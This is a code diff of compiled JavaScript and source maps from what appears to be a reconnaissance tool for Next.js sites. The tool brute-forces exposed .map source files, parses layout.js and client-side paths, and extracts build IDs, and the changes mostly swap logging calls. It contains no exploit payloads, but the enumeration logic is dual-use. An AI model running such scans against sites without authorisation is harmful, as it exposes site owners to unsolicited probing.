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"}
|
|
@@ -14,7 +14,7 @@ const next_bruteForceJsFiles = (urls_1, ...args_1) => __awaiter(void 0, [urls_1,
|
|
|
14
14
|
// just append .map to all of them and bruteforce for 200
|
|
15
15
|
console.log(chalk.cyan("[i] Bruteforcing .map files"));
|
|
16
16
|
const mapFiles = urls.map((url) => url + ".map");
|
|
17
|
-
|
|
17
|
+
const foundSourceMaps = [];
|
|
18
18
|
yield runWithConcurrency(mapFiles, threads, (mapFile) => __awaiter(void 0, void 0, void 0, function* () {
|
|
19
19
|
const req = yield makeRequest(mapFile);
|
|
20
20
|
if (req) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"next_bruteForceJsFiles.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_bruteForceJsFiles.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,sBAAsB,GAAG,oBAA4C,EAAE,2DAAvC,IAAc,EAAE,UAAkB,CAAC;IACrE,yDAAyD;IACzD,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,6BAA6B,CAAC,CAAC,CAAC;IACvD,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,GAAG,EAAE,EAAE,CAAC,GAAG,GAAG,MAAM,CAAC,CAAC;IAEjD,
|
|
1
|
+
{"version":3,"file":"next_bruteForceJsFiles.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_bruteForceJsFiles.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,sBAAsB,GAAG,oBAA4C,EAAE,2DAAvC,IAAc,EAAE,UAAkB,CAAC;IACrE,yDAAyD;IACzD,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,6BAA6B,CAAC,CAAC,CAAC;IACvD,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,GAAG,EAAE,EAAE,CAAC,GAAG,GAAG,MAAM,CAAC,CAAC;IAEjD,MAAM,eAAe,GAAa,EAAE,CAAC;IAErC,MAAM,kBAAkB,CAAC,QAAQ,EAAE,OAAO,EAAE,CAAO,OAAO,EAAE,EAAE;QAC1D,MAAM,GAAG,GAAG,MAAM,WAAW,CAAC,OAAO,CAAC,CAAC;QAEvC,IAAI,GAAG,EAAE,CAAC;YACN,MAAM,MAAM,GAAG,GAAG,CAAC,MAAM,CAAC;YAE1B,IAAI,MAAM,KAAK,GAAG,EAAE,CAAC;gBACjB,eAAe,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;YAClC,CAAC;QACL,CAAC;aAAM,CAAC;YACJ,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,GAAG,CAAC,yBAAyB,OAAO,EAAE,CAAC,CAAC,CAAC;QACjE,CAAC;IACL,CAAC,CAAA,CAAC,CAAC;IAEH,IAAI,eAAe,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAC/B,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,GAAG,CAAC,0BAA0B,CAAC,CAAC,CAAC;QACrD,OAAO,eAAe,CAAC;IAC3B,CAAC;IAED,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,KAAK,CAAC,aAAa,eAAe,CAAC,MAAM,cAAc,CAAC,CAAC,CAAC;IAC5E,OAAO,eAAe,CAAC;AAC3B,CAAC,CAAA,CAAC;AAEF,eAAe,sBAAsB,CAAC"}
|
|
@@ -10,7 +10,7 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
|
|
|
10
10
|
import { readdir, readFile } from "fs/promises";
|
|
11
11
|
import path from "path";
|
|
12
12
|
import * as next_globals from "./next_globals.js";
|
|
13
|
-
import
|
|
13
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
14
14
|
export const next_buildId_RSC = (rsc_directory) => __awaiter(void 0, void 0, void 0, function* () {
|
|
15
15
|
const traverseDirectory = (directory) => __awaiter(void 0, void 0, void 0, function* () {
|
|
16
16
|
let dirents;
|
|
@@ -18,7 +18,7 @@ export const next_buildId_RSC = (rsc_directory) => __awaiter(void 0, void 0, voi
|
|
|
18
18
|
dirents = yield readdir(directory, { withFileTypes: true });
|
|
19
19
|
}
|
|
20
20
|
catch (_a) {
|
|
21
|
-
|
|
21
|
+
printMsg(MSG.Err, `[!] Can't read subsequent requests directory. Skipping build ID extraction using this method...`);
|
|
22
22
|
return false;
|
|
23
23
|
}
|
|
24
24
|
for (const dirent of dirents) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"next_buildId.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_buildId.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,MAAM,aAAa,CAAC;AAChD,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,KAAK,YAAY,MAAM,mBAAmB,CAAC;AAElD,OAAO,
|
|
1
|
+
{"version":3,"file":"next_buildId.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_buildId.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,MAAM,aAAa,CAAC;AAChD,OAAO,IAAI,MAAM,MAAM,CAAC;AACxB,OAAO,KAAK,YAAY,MAAM,mBAAmB,CAAC;AAElD,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAE1D,MAAM,CAAC,MAAM,gBAAgB,GAAG,CAAO,aAAqB,EAA0B,EAAE;IACpF,MAAM,iBAAiB,GAAG,CAAO,SAAiB,EAAoB,EAAE;QACpE,IAAI,OAAyB,CAAC;QAC9B,IAAI,CAAC;YACD,OAAO,GAAG,MAAM,OAAO,CAAC,SAAS,EAAE,EAAE,aAAa,EAAE,IAAI,EAAE,CAAC,CAAC;QAChE,CAAC;QAAC,WAAM,CAAC;YACL,QAAQ,CACJ,GAAG,CAAC,GAAG,EACP,iGAAiG,CACpG,CAAC;YACF,OAAO,KAAK,CAAC;QACjB,CAAC;QAED,KAAK,MAAM,MAAM,IAAI,OAAO,EAAE,CAAC;YAC3B,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,MAAM,CAAC,IAAI,CAAC,CAAC;YAEnD,IAAI,MAAM,CAAC,WAAW,EAAE,EAAE,CAAC;gBACvB,IAAI,MAAM,iBAAiB,CAAC,QAAQ,CAAC,EAAE,CAAC;oBACpC,OAAO,IAAI,CAAC;gBAChB,CAAC;gBACD,SAAS;YACb,CAAC;YAED,IAAI,CAAC,MAAM,CAAC,MAAM,EAAE,EAAE,CAAC;gBACnB,SAAS;YACb,CAAC;YAED,MAAM,WAAW,GAAG,MAAM,QAAQ,CAAC,QAAQ,EAAE,MAAM,CAAC,CAAC;YAErD,MAAM,KAAK,GAAG,WAAW,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;YACtC,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE,CAAC;gBACvB,IAAI,IAAI,CAAC,UAAU,CAAC,IAAI,CAAC,EAAE,CAAC;oBACxB,MAAM,WAAW,GAAG,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,EAAE,CAAC,CAAC;oBAC3C,MAAM,eAAe,GAAG,IAAI,CAAC,KAAK,CAAC,WAAW,CAAC,CAAC;oBAEhD,KAAK,MAAM,CAAC,GAAG,EAAE,KAAK,CAAC,IAAI,MAAM,CAAC,OAAO,CAAC,eAAe,CAAC,EAAE,CAAC;wBACzD,IAAI,GAAG,KAAK,GAAG,EAAE,CAAC;4BACd,YAAY,CAAC,UAAU,CAAC,KAAe,CAAC,CAAC;4BACzC,OAAO,IAAI,CAAC;wBAChB,CAAC;oBACL,CAAC;gBACL,CAAC;YACL,CAAC;QACL,CAAC;QAED,OAAO,KAAK,CAAC;IACjB,CAAC,CAAA,CAAC;IAEF,MAAM,iBAAiB,CAAC,aAAa,CAAC,CAAC;IACvC,OAAO,YAAY,CAAC,UAAU,EAAE,CAAC;AACrC,CAAC,CAAA,CAAC"}
|
|
@@ -7,7 +7,7 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
|
|
|
7
7
|
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
8
|
});
|
|
9
9
|
};
|
|
10
|
-
import
|
|
10
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
11
11
|
import * as cheerio from "cheerio";
|
|
12
12
|
import { URL } from "url";
|
|
13
13
|
import makeRequest from "../../utility/makeReq.js";
|
|
@@ -75,7 +75,7 @@ const next_getClientSidePaths = (url) => __awaiter(void 0, void 0, void 0, funct
|
|
|
75
75
|
found.add(resolved.href);
|
|
76
76
|
});
|
|
77
77
|
if (found.size > 0) {
|
|
78
|
-
|
|
78
|
+
printMsg(MSG.Run, `[✓] Found ${found.size} client-side path(s) on ${url}`);
|
|
79
79
|
}
|
|
80
80
|
return [...found];
|
|
81
81
|
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"next_getClientSidePaths.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_getClientSidePaths.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,
|
|
1
|
+
{"version":3,"file":"next_getClientSidePaths.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_getClientSidePaths.ts"],"names":[],"mappings":"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"}
|
|
@@ -11,7 +11,7 @@ var _a;
|
|
|
11
11
|
import makeRequest from "../../utility/makeReq.js";
|
|
12
12
|
import parser from "@babel/parser";
|
|
13
13
|
import _traverse from "@babel/traverse";
|
|
14
|
-
import
|
|
14
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
15
15
|
import next_getJSScript from "./next_GetJSScript.js";
|
|
16
16
|
import { runWithConcurrency } from "../../utility/concurrency.js";
|
|
17
17
|
const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
|
|
@@ -79,7 +79,7 @@ export const extractHrefsFromLayoutJs = (jsContent) => {
|
|
|
79
79
|
return hrefs;
|
|
80
80
|
};
|
|
81
81
|
const next_parseLayoutJs = (baseUrl_1, urls_1, ...args_1) => __awaiter(void 0, [baseUrl_1, urls_1, ...args_1], void 0, function* (baseUrl, urls, threads = 1) {
|
|
82
|
-
|
|
82
|
+
printMsg(MSG.Header, "[i] Parsing layout.js files");
|
|
83
83
|
let toReturn = [];
|
|
84
84
|
const MAX_LAYOUT_JS_BYTES = 1.5 * 1024 * 1024;
|
|
85
85
|
const layoutUrls = urls.filter((url) => url.includes("layout-"));
|
|
@@ -89,12 +89,12 @@ const next_parseLayoutJs = (baseUrl_1, urls_1, ...args_1) => __awaiter(void 0, [
|
|
|
89
89
|
return;
|
|
90
90
|
const contentLength = req.headers.get("content-length");
|
|
91
91
|
if (contentLength && parseInt(contentLength, 10) > MAX_LAYOUT_JS_BYTES) {
|
|
92
|
-
|
|
92
|
+
printMsg(MSG.Warn, `[!] Skipping oversized layout.js (${Math.round(parseInt(contentLength, 10) / 1024)} KB): ${url}`);
|
|
93
93
|
return;
|
|
94
94
|
}
|
|
95
95
|
const jsContent = yield req.text();
|
|
96
96
|
if (jsContent.length > MAX_LAYOUT_JS_BYTES) {
|
|
97
|
-
|
|
97
|
+
printMsg(MSG.Warn, `[!] Skipping oversized layout.js (${Math.round(jsContent.length / 1024)} KB): ${url}`);
|
|
98
98
|
return;
|
|
99
99
|
}
|
|
100
100
|
const hrefFinds = extractHrefsFromLayoutJs(jsContent);
|
|
@@ -112,7 +112,7 @@ const next_parseLayoutJs = (baseUrl_1, urls_1, ...args_1) => __awaiter(void 0, [
|
|
|
112
112
|
continue;
|
|
113
113
|
}
|
|
114
114
|
if (hreqResult && hreqResult.status === 200) {
|
|
115
|
-
|
|
115
|
+
printMsg(MSG.Run, `[✓] Found new client side URL: ${newUrl}`);
|
|
116
116
|
const jsFiles = yield next_getJSScript(newUrl);
|
|
117
117
|
toReturn.push(...jsFiles);
|
|
118
118
|
}
|
|
@@ -120,7 +120,7 @@ const next_parseLayoutJs = (baseUrl_1, urls_1, ...args_1) => __awaiter(void 0, [
|
|
|
120
120
|
}));
|
|
121
121
|
toReturn = [...new Set(toReturn)];
|
|
122
122
|
if (toReturn.length !== 0) {
|
|
123
|
-
|
|
123
|
+
printMsg(MSG.Run, `[✓] Found ${toReturn.length} JS files from the layout.js files`);
|
|
124
124
|
}
|
|
125
125
|
return toReturn;
|
|
126
126
|
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"next_parseLayoutJs.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_parseLayoutJs.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,MAAM,MAAM,eAAe,CAAC;AACnC,OAAO,SAAS,MAAM,iBAAiB,CAAC;AACxC,OAAO,
|
|
1
|
+
{"version":3,"file":"next_parseLayoutJs.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_parseLayoutJs.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,MAAM,MAAM,eAAe,CAAC;AACnC,OAAO,SAAS,MAAM,iBAAiB,CAAC;AACxC,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAC1D,OAAO,gBAAgB,MAAM,uBAAuB,CAAC;AACrD,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,QAAQ,GAAG,CAAC,MAAA,SAAS,CAAC,OAAO,mCAAI,SAAS,CAA6B,CAAC;AAE9E;;;GAGG;AACH,MAAM,aAAa,GAAG,CAAC,IAAS,EAAU,EAAE;IACxC,IAAI,CAAC,IAAI;QAAE,OAAO,EAAE,CAAC;IACrB,IAAI,IAAI,CAAC,IAAI,KAAK,eAAe;QAAE,OAAO,IAAI,CAAC,KAAK,CAAC;IACrD,IAAI,IAAI,CAAC,IAAI,KAAK,